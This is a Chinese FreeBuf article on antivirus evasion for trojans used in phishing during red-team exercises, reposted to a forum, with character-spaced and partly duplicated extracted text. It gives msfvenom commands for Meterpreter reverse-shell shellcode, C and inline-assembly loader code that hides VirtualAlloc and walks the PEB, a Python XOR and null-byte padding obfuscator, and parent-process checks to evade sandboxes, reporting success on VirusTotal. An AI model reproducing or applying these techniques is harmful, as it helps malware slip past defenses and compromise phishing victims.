搜索

[14415] 2019-07-31_安全视角下的木马免杀技术讨论

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-07-31_安全视角下的木马免杀技术讨论 安 全 视 角 下 的 木 马 免 杀 技 术 讨 论 p O n y   F r e e B u f   2 0 1 9 - 0 7 - 3 1 实 战 演 习 中 ， 攻 击 方 需 要 通 过 各 种 手 段 对 企 业 的 相 关 资 产 进 行 渗 透 ， 挖 掘 企 业 资 产 里 存 在 的 漏 洞 进 行 得 分 。 近 年 来 这 种 漏 洞 挖 掘 的 攻 防 比 赛 好 像 都 以 实 战 演 习 中 ， 攻 击 方 需 要 通 过 各 种 手 段 对 企 业 的 相 关 资 产 进 行 渗 透 ， 挖 掘 企 业 资 产 里 存 在 的 漏 洞 进 行 得 分 。 近 年 来 这 种 漏 洞 挖 掘 的 攻 防 比 赛 好 像 都 以   W e b   方 面 方 面 的 为 主 ， 可 能 的 为 主 ， 可 能   W e b   中 存 在 的 漏 洞 较 多 ， 得 分 点 也 较 多 吧 。 不 过 ， 除 了 中 存 在 的 漏 洞 较 多 ， 得 分 点 也 较 多 吧 。 不 过 ， 除 了   W e b   之 外 ， 之 外 ，   a p t   攻 击 也 是 一 种 不 错 的 攻 击 手 法 ， 而 且 运 气 好 的 话 直 接 就 进 了 内 网 。 在 攻 击 也 是 一 种 不 错 的 攻 击 手 法 ， 而 且 运 气 好 的 话 直 接 就 进 了 内 网 。 在   a p t 攻 击 中 ， 用 的 较 多 的 大 概 就 是 钓 鱼 邮 件 了 吧 。 而 钓 鱼 成 功 与 否 一 方 面 和 钓 鱼 文 案 的 诱 人 程 度 以 及 木 马 的 免 杀 是 否 到 位 有 着 密 切 的 关 系 。 下 面 介 绍 下 常 见 的 一 些 攻 击 中 ， 用 的 较 多 的 大 概 就 是 钓 鱼 邮 件 了 吧 。 而 钓 鱼 成 功 与 否 一 方 面 和 钓 鱼 文 案 的 诱 人 程 度 以 及 木 马 的 免 杀 是 否 到 位 有 着 密 切 的 关 系 。 下 面 介 绍 下 常 见 的 一 些 免 杀 技 巧 。 免 杀 技 巧 。 0 x 1   s h e l l c o d e 动 态 加 载 动 态 加 载 S h e l l c o d e   中 的 代 码 较 为 敏 感 ， 如 果 代 码 中 有 太 多 的 攻 击 代 码 ， 很 容 易 会 被 杀 软 抓 到 特 征 进 行 查 杀 ， 而 且 这 种 方 式 做 免 杀 很 不 好 做 。 所 以 我 们 需 要 将 主 要 的 攻 击 代 码 单 独 的 编 译 并 静 态 的 存 储 在 数 据 段 中 ， 代 码 块 中 只 保 留 一 些 人 畜 无 害 的 代 码 ， 然 后 在 程 序 执 行 的 时 候 申 一 处 可 执 行 的 内 存 ， 再 将 这 块 攻 击 代 码 拷 贝 到 申 请 的 内 存 中 执 行 ， 这 样 才 能 够 尽 量 降 低 被 查 杀 的 概 率 。 那 么 问 题 来 了 ，   s h e l l c o d e   如 何 生 成 呢 ？ 你 如 果 牛 逼 的 话 ， 可 以 自 己 编 写 ， 如 果 图 方 便 的 话 ， 可 以 使 用   m s f   生 成 。 一 般 的 生 成   p a y l o a d   命 令 可 以 参 考 如 下 ： 这 里 提 供 使 用   m s f   生 成   s h e l l c o d e   的 例 子 ， 其 中 使 用   r e v e r s t c p r c 4   可 以 对 回 话 进 行 加 密 ， 对 免 杀 有 一 定 帮 助 。 这 里 我 们 生 成 的 是 一 串   1 6   进 制 的 字 节 数 组 ， 我 们 可 以 将 它 加 入 到 我 们 的   v s   项 目 中 ， 在 程 序 运 行 的 时 候 进 行 动 态 加 载 即 可 执 行   s h e l l c o d e   。 0 x 2   敏 感 敏 感 A P I 动 态 调 用 动 态 调 用 有 一 些 杀 软 会 对   I A T   （   I m p o r t   A d d r e s s T a b l e   ， 即 导 入 地 址 表 ， 顾 名 思 义 ，   i a t   表 中 存 放 着 程 序 中 调 用 的 来 自 外 部 动 态 链 接 库 的 函 数 地 址 ） 表 中 的 一 些 敏 感 函 数 做 检 查 。 比 如   f i r e e y e   。 经 过 代 码 定 位 排 查 后 发 现 ，   F i r e e y e   会 对   v i r t u a l a l l o c   这 个 函 数 进 行 校 验 。 V i r t u a l a l l o c   函 数 的 作 用 是 申 请 内 存 ， 而 这 里 我 们 之 所 以 用 到   v i r t u a l a l l o c   的 一 个 原 因 是 ， 我 们 需 要 设 置 内 存 的 可 执 行 属 性 ， 这 一 点 很 重 要 ， 如 果 我 们   s h e l l c o d e   拷 贝 到 的 内 存 块 没 有 执 行 权 限 的 话 ， 那 么 我 们 的   s h e l l c o d e   是 无 法 执 行 的 。 那 么 我 们 要 如 何   b y p a s s   f i r e e y e   的 检 测 呢 ？ 这 里 的 解 决 办 法 是 ， 通 过 动 态 调 用   A P I   函 数 的 方 式 来 调 用   v i r t u a l a l l o c   函 数 。 具 体 的 做 法 是 ，   l o a d   k e r n e l 3 2 . d l l   库 ， 从 k e r n e l 3 2   库 中 取 得   v i r t u a l a l l o c   函 数 在 内 存 中 的 地 址 ， 然 后 执 行 。 这 部 分 的 功 能 可 以 通 过 下 面 的 代 码 实 现 ： 这 样 在   i a t   表 中 就 不 会 出 现   v i r t u a l a l l o c   这 个 函 数 的 地 址 了 。 但 是 ， 我 们 解 决 了   v i r t u a l l o c   这 个 麻 烦 之 后 ， 有 一 个 麻 烦 出 现 了 。 我 们 在 动 态 调 用   v i r t u a l a l l o c   时 使 用 了 l o a d L i b r a r y   这 个 函 数 ， 蛋 疼 的 是 有 的 杀 毒 公 司 会 将   l o a d L i b r a r y   函 数 视 为 敏 感 的 函 数 ， 比 如 俄 罗 斯 的   V B A 3 2   。 但 是 ， 将   l o a d L i b r a r y   函 数 作 为 查 杀 的 依 旧 ， 这 未 免 也 太 野 蛮 了 ，   不 过 ， 如 果 要 解 的 话 ， 或 许 可 以 用 下   v i r t u a l p r o t e c t   函 数 ， 直 接 修 改 数 据 段 的 可 执 行 属 性 ， 然 后 在 程 序 执 行 的 时 候 直 接 跳 转 到 这 个 内 存 地 址 上 去 执 行 。 那 么 问 题 又 来 了 ，   v i r t u a l p r o t e c t   这 个 函 数 应 该 也 是 不 少 杀 软 狠 盯 的   a p i   吧 。 所 以 ， 问 题 最 终 还 是 要 解 决 这 个 l o a d L i b r a r y 函 数 。 其 实 获 取 k e r n e l 3 2 . d l l 库 地 址 并 不 一 定 要 通 过 l o a d L i b r a r y 的 ， 也 可 以 从 P E B 中 进 行 获 取 的 ， 可 以 通 过 以 下 代 码 进 行 获 取 ： 果 然 ， 这 种 方 法 是 可 以 过 掉 v b a 3 2 的 ， 但 是 问 题 又 来 了 ， 有 些 厂 商 会 对 这 段 代 码 进 行 检 测 的 ， 比 如 f o r t i n e t 公 司 的 杀 毒 引 擎 就 会 对 这 段 代 码 进 行 检 测 。 不 过 ， 这 是 基 于 机 器 码 的 检 测 ， 而 针 对 机 器 码 匹 配 的 话 基 本 是 进 行 模 式 匹 配 的 ， 所 以 我 们 只 要 在 代 码 中 加 一 些 n o p 指 令 即 可 ， 具 体 的 代 码 如 下 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ]   L P O R T = [ l i s t e n i n g p o r t ]   - f   c   > h a c k e r . c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ] L P O R T = [ l i s t e n i n g   p o r t ]   - f   c   > h a c k e r . c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ r c 4 - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ] L P O R T = [ l i s t e n i n g   p o r t ]   - f   c   > h a c k e r . c H M O D U L E   h M o d u l e   = L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ; H A N D L E   s h e l l c o d e _ h a n d l e r ; F A R P R O C   A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e , " V i r t u a l A l l o c " ) ; / / 拿 到 v i r t u a l a l l o c 的 地 址   _ a s m {                 p u s h   4 0 h     / / p u s h 传 参                 p u s h   1 0 0 0 h                 p u s h   2 9 A h                 p u s h   0                 c a l l   A d d r e s s     / / 函 数 调 用             m o v s h e l l c o d e _ h a n d l e r ,   e a x } m e m c p y ( s h e l l c o d e _ h a n d l e r ,   n e w s h e l l c o d e , s i z e o f   n e w s h e l l c o d e ) ; ( ( v o i d ( * ) ( ) ) s h e l l c o d e _ h a n d l e r ) ( ) ; _ a s m   { m o v   e s i ,   f s : [ 0 x 3 0 ] / / 得 到 P E B 地 址 m o v   e s i ,   [ e s i   +   0 x c ] / / 指 向 P E B _ L D R _ D A T A 结 构 的 首 地 址 m o v   e s i ,   [ e s i   +   0 x 1 c ] / / 一 个 双 向 链 表 的 地 址 m o v   e s i ,   [ e s i ] / / 得 到 第 二 个 条 目 k e r n e l B a s e 的 链 表 m o v   e s i ,   [ e s i ] / / 得 到 第 三 个 条 目 k e r n e l 3 2 链 表 （ w i n 1 0 ） m o v   e s i ,   [ e s i   +   0 x 8 ]   / / k e r n e l 3 2 . d l l 地 址 m o v   h M o d u l e ,   e s i } _ a s m   { m o v   e s i ,   f s : [ 0 x 3 0 ] / / 得 到 P E B 地 址 N O P N O P N O P N O P
就 问 这 波 操 作 骚 不 骚 ， 哈 哈 。 0 x 3   s h e l l c o d e 加 密 加 密 免 杀 效 果 好 不 好 ， 最 主 要 的 是 就 是   s h e l l c o d e   的 加 密 了 。 那 么 ， 杀 软 是 如 何 找 到 我 们 的   s h e l l c o d e   呢 ？ 又 是 如 何 对 我 们 的   s h e l l c o d e   进 行 查 杀 的 呢 ？ 为 什 么 我 的   s h e l l c o d e 加 密 了 还 是 会 被 查 杀 呢 ？ 我 们 来 看 下 编 译 后 的   s h e l l c o d e   在   p e   文 件 中 是 什 么 样 子 的 。 首 先 我 们 知 道 ， 字 符 串 数 组 初 始 化 的 内 容 是 存 放 在   P E   文 件 的   r d a t a   节 区 中 的 。 下 面 是   i d a   视 图 ： 其 对 应 的   p e   文 件 的   h e x   信 息 如 下 ： 从   B 8   开 始 往 下   6 6 5   字 节 即 我 们 的   s h e l l c o d e   。 杀 毒 软 件 应 该 就 是 在 这 里 寻 找 的 字 符 串 特 征 值 。 我 们 看 下 这 个   s h e l l c o d e   是 在 哪 里 进 行 引 用 的 ： N O P m o v   e s i ,   [ e s i   +   0 x c ] / / 指 向 P E B _ L D R _ D A T A 结 构 的 首 地 址 N O P N O P N O P N O P m o v   e s i ,   [ e s i   +   0 x 1 c ] / / 一 个 双 向 链 表 的 地 址 N O P N O P N O P N O P m o v   e s i ,   [ e s i ] / / 得 到 第 二 个 条 目 k e r n e l B a s e 的 链 表 N O P N O P N O P m o v   e s i ,   [ e s i ] / / 得 到 第 三 个 条 目 k e r n e l 3 2 链 表 （ w i n 1 0 ） N O P N O P m o v   e s i ,   [ e s i   +   0 x 8 ]   / / k e r n e l 3 2 . d l l 地 址 N O P N O P m o v   h M o d u l e ,   e s i }
我 们 可 以 看 到 ， 这 里 有 一 个 字 符 串 拷 贝 的 操 作 。 即 从   & u n k _ 4 0 2 1 0 8   这 个 地 址 处 的 开 始 ， 拷 贝   0 x a 6 5   个 字 节 到   v 1 5   这 个 地 址 处 。 0 x a 6 5   即 十 进 制   2 6 6 1   ， 正 好 是 我 们 的 s h e l l c o d e   长 度   +   一 个   ‘ 0 ’   字 符 ， 即   2 6 6 0 + 1   。 而 这 里   0 x 2 2 9   即 十 进 制   6 6 5   ， 是 我 们 的 解 密 之 后 的   s h e l l c o d e   的 长 度 。 这 里 是 解 密 代 码 ： 相 应 的 加 密 代 码 是 ： 简 要 说 明 下 加 密 代 码 ， 这 里 是 先 将   s h e l l o d e   和   1 1 3   以 及   0 x 7 7   进 行 异 或 ， 再 在   s h e l l c o d e   中 相 邻 的 两 个 字 节 中 填 充 三 个   x 0 0   （ 空 字 节 ） 。 实 测 ， 这 种 方 式 是 可 以 过 掉 所 有 的   m e t e r p r e t e r   p a y l o a d   的 检 测 的 。 我 猜 哈 ， 杀 软 应 该 是 收 集 了 一 大 波 的   m e t e r p r e t e r   的   h e x   特 征 ， 作 为 恶 意 攻 击 代 码 的 识 别 依 据 。 他 们 可 能 会 对 这 些 特 征 代 码 进 行 进 一 步 异 或 变 形 ， 进 而 匹 配 到 更 多 的 潜 在 的 攻 击 代 码 。 所 以 ， 网 上 那 些 异 或 一 下 ， 十 行 代 码 就 免 杀 ， 肯 定 是 不 靠 谱 的 ， 最 多 免 杀 一 两 天 。 而 在 相 邻 的 字 节 中 间 插 入   x 0 0   ， 这 样 有 效 的 避 开 那 些   h e x   特 征 码 。 想 想 也 对 ， 你 总 不 至 于 将 一 堆 的 空 字 节 作 为 查 杀 依 据 吧 。 这 里 为 什 么 要 用   x 0 0   ， 而 不 用 其 他 的 呢 ？ 我 的 考 虑 是 ， 杀 软 收 集 的 那 些 特 征 码 可 能 跟 多 的 是   e f   1 1   3 a   e d   这 种 连 续 的 非 空 字 节 ， 而   e f   0 0   0 0   0 0   这 种 一 般 是 不 会 拿 来 作 为 特 征 码 的 。 那 么 随 机 的 在 两 个 字 节 中 填 充 自 定 义 的 字 节 ， 比 如   a 1   a 2   a 3   a 4   呢 ， 这 种 情 况 是 有 一 定 概 率 被 匹 配 到 的 ， 毕 竟 杀 软 的 特 征 库 很 庞 大 ， 就 算 误 报 几 个 也 很 正 常 。 所 以 ， 综 合 考 虑 还 是 填 充 空 字 节 好 点 。 然 而 我 还 是 太 天 真 了 ， 现 在 的 杀 软 不 仅 仅 是 基 于 这 些 特 征 值 的 匹 配 的 。 昨 天 信 心 满 满 的 空 字 节 填 充 免 杀 之 后 ， 今 天 又 被   3 6 0   杀 了 。 那 么 到 底 是 什 么 原 因 免 杀 的 呢 ？ 我 猜 应 该 是   v i r u s t o t a l   上 的 这 些 引 擎 对 扫 描 的 检 测 结 果 彼 此 之 间 是 有 共 享 的 ， 或 者 说 有 些 杀 软 会 先 比 对 本 地 特 征 库 ， 比 对 不 到 的 话 直 接 上 传 到   v i r u s t o t a l   ， 让   v i r u s t o t a l   分 析 一 波 ， 如 果 报 毒 的 话 ， 再 对 样 本 特 征 进 行 提 取 。 当 然 某 些 杀 软 不 会 傻 到 直 接   m d 5   存 库 里 完 事 了 ， 还 是 会 做 一 些 相 似 度 分 析 的 。 依 据 在 哪 里 呢 ， 我 之 前 的   0 0   填 充 的 那 个 马 被 杀 后 ， 我 将 原 来   p a y l o a d   进 行 了 异 或 变 异 ， 结 果 还 是 被 杀 了 ， 按 理 说 如 果 是   m d 5   特 征 比 对 的 话 ， 肯 定 是 杀 不 了 的 ， 所 以 肯 定 是 做 了 相 似 度 分 析 了 ， 我 原 来 的   s h e l l c o d e   是 将 原 来 相 邻 的 两 个 字 节 填 充 上   3   个 空 字 节 。 它 的 相 似 度 分 析 应 该 是 将 我 的   s h e l l c o d e   进 行 了 多 次 异 或 ， 然 后 取 特 征 值 。 为 了 验 证 我 的 想 法 ， 我 将   0 0   空 字 节 的 填 充 位 数 改 为   9   个 ， 果 然 又 免 杀 了 。 本 来 我 想 着 ， 既 然 能 够 知 道 样 本 是 病 毒 ， 那 么 为 什 么 不 对 其 中 的 结 构 特 征 进 行 识 别 呢 ？ 难 道 这 些   p a y l o a d   只 是 做 异 或 加 密 ？ r s a   和   d e s   就 不 说 了 ， 一 些 古 典 加 密 算 法 也 有 可 能 哈 。 我 觉 得 最 起 码 要 对 这 些   s h e l l c o d e   中 的 一 些 常 见 结 构 特 征 进 行 识 别 吧 ， 比 如   s h e l l c o d e   的 每 一 个 字 节 是 以 等 差 数 列 或 者 其 他 形 式 进 行 存 储 的 ， 我 们 就 可 以 对 这 种 结 构 做 一 个 特 征 识 别 ， 为 什 么 要 做 结 构 识 别 呢 ？ 这 工 作 量 不 是 很 大 吗 ？ 有 多 少 种 可 能 的 结 构 。 其 实 我 觉 得 ， 最 起 码 要 识 别 出 在 一 片 连 续 的 区 域 内 存 在 着 一 种 特 殊 的 情 况 ， 那 就 是 一 个 字 节 和 另 一 个 字 节 之 间 相 隔 了 多 个 相 同 的 字 节 ， 这 种 情 况 下 就 很 可 能 就 是 被 垃 圾 数 据 填 充 的   s h e l l c o d e   。 而 且 这 些 数 据 填 充 相 同 的 字 节 ， 是 为 了 防 止 被 类 似   y a r a   或 者   c l a m a v   这 种 静 态   h e x   特 征 匹 配 到 ， 这 是 误 报 ， 很 冤 。 所 以 ， 我 觉 得 可 以 将 这 些 填 充 的 特 征 码 去 掉 ， 然 后 将 这 些 去 掉 垃 圾 数 据 的 特 征 码 再 进 一 步 进 行 组 合 。 0 x 4   虚 拟 机 反 调 试 虚 拟 机 反 调 试 那 么 问 题 来 了 ， 如 何 对 抗 云 沙 箱 的 检 测 呢 ？ 我 们 知 道 ， 很 多 杀 软 都 有 自 己 的 后 端 云 沙 箱 ， 这 些 沙 箱 能 够 模 拟 出 软 件 执 行 所 需 的 运 行 环 境 ， 通 过 进 程 h o o k 技 术 来 对 软 件 执 行 过 程 中 的 行 为 进 行 分 析 ， 判 断 其 是 否 有 敏 感 的 操 作 行 为 ， 或 者 更 高 级 的 检 测 手 法 是 ， 将 获 取 到 的 程 序 的 A P I 调 用 序 列 以 及 其 他 的 一 些 行 为 特 征 输 入 到 智 能 分 析 引 擎 中 （ 基 于 机 器 学 习 o r g ） 进 行 检 测 。 所 以 ， 如 果 我 们 的 木 马 没 有 做 好 反 调 试 ， 很 容 易 就 被 沙 箱 检 测 出 来 。 d e f g e n e r a t e _ p a y l o a d ( s h e l l c o d e ) :               b a = b y t e a r r a y ( s h e l l c o d e )               n e w s h e l l c o d e = [ ]               r e s = ' '               f o r   b   i n   b a :                             n c h a r = " "                             b = b ^ 1 1 3 ^ 0 x 7 7                             b = h e x ( b )                             f o r   i   i n   r a n g e ( 1 , l e n ( b ) ) :                                           n c h a r = n c h a r + b [ i ]                             r e s = r e s + n c h a r                             n e w s h e l l c o d e . a p p e n d ( n c h a r )               t r a s h = " x 0 0 "               n n s h e l l c o d e = [ ]               f o r   i   i n   r a n g e ( 4 * l e n ( n e w s h e l l c o d e ) ) :                                           i f   i % 4 = = 0 :   # o u                                                         n n s h e l l c o d e . a p p e n d ( n e w s h e l l c o d e [ i n t ( i / 4 ) ] )                                           e l s e :                                                         n n s h e l l c o d e . a p p e n d ( t r a s h               f r e s = ' '               f o r   i   i n   n n s h e l l c o d e :                             f r e s = f r e s + i               p r i n t ( f r e s )
我 这 个 马 目 前 只 有 9 k 大 小 ， 完 全 有 可 能 被 上 传 到 云 端 的 沙 箱 里 检 测 。 所 以 ， 我 们 还 需 要 做 一 些 反 调 试 的 操 作 ， 阻 碍 云 沙 箱 的 行 为 检 测 。 最 简 单 的 反 调 试 的 措 施 就 是 检 测 父 进 程 。 一 般 来 说 ， 我 们 手 动 点 击 执 行 的 程 序 的 父 进 程 都 是 e x p l o r e 。 如 果 一 个 程 序 的 父 进 程 不 是 e x p l o r ， 那 么 我 们 就 可 以 认 为 他 是 由 沙 箱 启 动 的 。 那 么 我 们 就 直 接 e x i t 退 出 ， 这 样 ， 杀 软 就 无 法 继 续 对 我 们 进 行 行 为 分 析 了 。 具 体 的 实 现 代 码 如 下 ： D W O R D   g e t _ p a r e n t _ p r o c e s s i d ( D W O R D   p i d ) {               D W O R D P a r e n t P r o c e s s I D   =   - 1 ;               P R O C E S S E N T R Y 3 2 p e ;               H A N D L E h k z ;               H M O D U L E h M o d u l e   =   L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ;               F A R P R O C A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t " ) ;               i f ( A d d r e s s   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " G e t P r o c   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               _ a s m               {                             p u s h 0                             p u s h 2                             c a l l A d d r e s s                             m o v h k z ,   e a x               }               p e . d w S i z e =   s i z e o f ( P R O C E S S E N T R Y 3 2 ) ;               i f ( P r o c e s s 3 2 F i r s t ( h k z ,   & p e ) )               {                             d o                             {                                           i f ( p e . t h 3 2 P r o c e s s I D   = =   p i d )                                           {                                                         P a r e n t P r o c e s s I D =   p e . t h 3 2 P a r e n t P r o c e s s I D ;                                                         b r e a k ;                                           }                             } w h i l e   ( P r o c e s s 3 2 N e x t ( h k z ,   & p e ) ) ;               }               r e t u r n P a r e n t P r o c e s s I D ; } W O R D   g e t _ e x p l o r e r _ p r o c e s s i d ( ) {               D W O R D e x p l o r e r _ i d   =   - 1 ;               P R O C E S S E N T R Y 3 2 p e ;               H A N D L E h k z ;               H M O D U L E h M o d u l e   =   L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ;               i f ( h M o d u l e   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " L o a d d l l   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               F A R P R O C A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t " ) ;               i f ( A d d r e s s   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " G e t P r o c   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               _ a s m               {                             p u s h 0                             p u s h 2                             c a l l A d d r e s s                             m o v h k z ,   e a x               }               p e . d w S i z e =   s i z e o f ( P R O C E S S E N T R Y 3 2 ) ;               i f ( P r o c e s s 3 2 F i r s t ( h k z ,   & p e ) )               {                             d o                             {                                           i f ( _ s t r i c m p ( p e . s z E x e F i l e ,   " e x p l o r e r . e x e " )   = =   0 )                                           {                                                         e x p l o r e r _ i d =   p e . t h 3 2 P r o c e s s I D ;                                                         b r e a k ;                                           }
这 里 主 要 的 思 路 是 获 取 调 用 k e r n e l 3 2 库 中 的 C r e a t e T o o l h e l p 3 2 S n a p s h o t 函 数 获 得 一 个 进 程 快 照 信 息 ， 然 后 从 快 照 中 获 取 到 e x p l o r e r . e x e 的 进 程 i d 信 息 ， 然 后 通 过 当 前 进 程 的 p i d 信 息 在 进 程 快 照 中 找 到 其 父 进 程 的 i d 信 息 ， 最 后 将 两 者 进 行 比 较 ， 判 断 当 前 进 程 是 否 是 有 人 工 启 动 的 。 当 然 ， 反 调 试 的 措 施 不 仅 仅 是 检 测 父 进 程 ， 还 可 以 通 过 调 用 w i n d o w s 的 A P I 接 口 I s D e b u g g e r P r e s e n t 来 检 查 当 前 进 程 是 否 正 在 被 调 试 。 检 测 反 调 试 的 话 ， 还 可 以 通 过 检 查 进 程 堆 的 标 识 符 号 来 实 现 ， 系 统 创 建 进 程 时 会 将 F l a g s 置 为 0 x 0 2 （ H E A P _ G R O W A B L E ） ， 将 F o r c e F l a g s 置 为 0 。 但 是 进 程 被 调 试 时 ， 这 两 个 标 志 通 常 被 设 置 为 0 x 5 0 0 0 0 0 6 2 h 和 0 x 4 0 0 0 0 0 6 0 h 。 当 然 还 可 以 利 用 特 权 指 令 i n   e a x , d x 来 做 免 杀 。 最 后 秀 一 下 在 v i r u s t o t a l 上 检 测 的 成 绩 ： 0 x 5   后 记 后 记 当 然 ， 随 着 病 毒 检 测 技 术 的 不 断 改 进 ， 现 在 的 病 毒 检 测 技 术 已 经 引 入 了 一 些 机 器 学 习 的 技 术 了 ， 比 如 使 用 二 类 支 持 向 量 机 对 正 常 软 件 和 恶 意 软 件 进 行 分 类 ， 以 及 使 用 多 类 支 持 向 量 机 对 蠕 虫 ， 病 毒 ， 木 马 和 正 常 软 件 进 行 分 类 等 等 。 这 种 利 用 机 器 学 习 来 对 病 毒 进 行 检 测 的 技 术 前 提 是 需 要 收 集 整 理 足 够 数 量 的 样 本 的 特 征 数 据 ， 比 如 针 对 注 册 表 的 行 为 ， 开 机 自 启 动 的 行 为 ， 隐 藏 和 保 护 自 身 的 行 为 ， 进 程 行 为 ， 文 件 行 为 ， 以 及 网 络 行 为 等 等 ， 一 般 来 说 ， 这 些 行 为 特 征 是 可 以 体 现 在 程 序 的   A P I   调 用 序 列 中 的 ， 所 以 ， 很 多 学 术 论 文 中 会 以 程 序 的   A P I   调 用 序 列 作 为 主 要 的 行 为 特 征 训 练 集 ， 通 过 不 断 优 化 算 法 ， 相 信 这 种 通 过 海 量 数 据 训 练 而 获 得 的 病 毒 查 杀 能 力 的 技 术 应 该 会 是 之 后 杀 毒 引 擎 的 主 要 方 向 。 但 是 魔 高 一 尺 ， 道 高 一 丈 ， 我 觉 得 免 杀 和 查 杀 之 间 应 该 是 一 种 相 生 相 克 相 互 促 进 的 关 系 ， 这 几 天 也 就 算 初 窥 免 杀 之 门 吧 ， 相 信 还 有 更 多 高 级 的 免 杀 手 法 等 待 我 们 去 发 现 。 * 本 文 作 者 ： 本 文 作 者 ： p O n y @ m o r e s e c ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐                                           }                             } w h i l e   ( P r o c e s s 3 2 N e x t ( h k z ,   & p e ) ) ;               }               r e t u r n e x p l o r e r _ i d ; } v o i d   d o m a i n ( )   {               D W O R D e x p l o r e r _ i d   =   g e t _ e x p l o r e r _ p r o c e s s i d ( ) ;               D W O R D p a r e n t _ i d   =   g e t _ p a r e n t _ p r o c e s s i d ( G e t C u r r e n t P r o c e s s I d ( ) ) ;               i f ( e x p l o r e r _ i d   = =   p a r e n t _ i d ) / / 判 断 父 进 程 i d 是 否 和 e x p l o r e r 进 程 i d 相 同               {                             d o w o r k ( ) ;               }               e l s e   {                             e x i t ( 1 ) ;               } }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理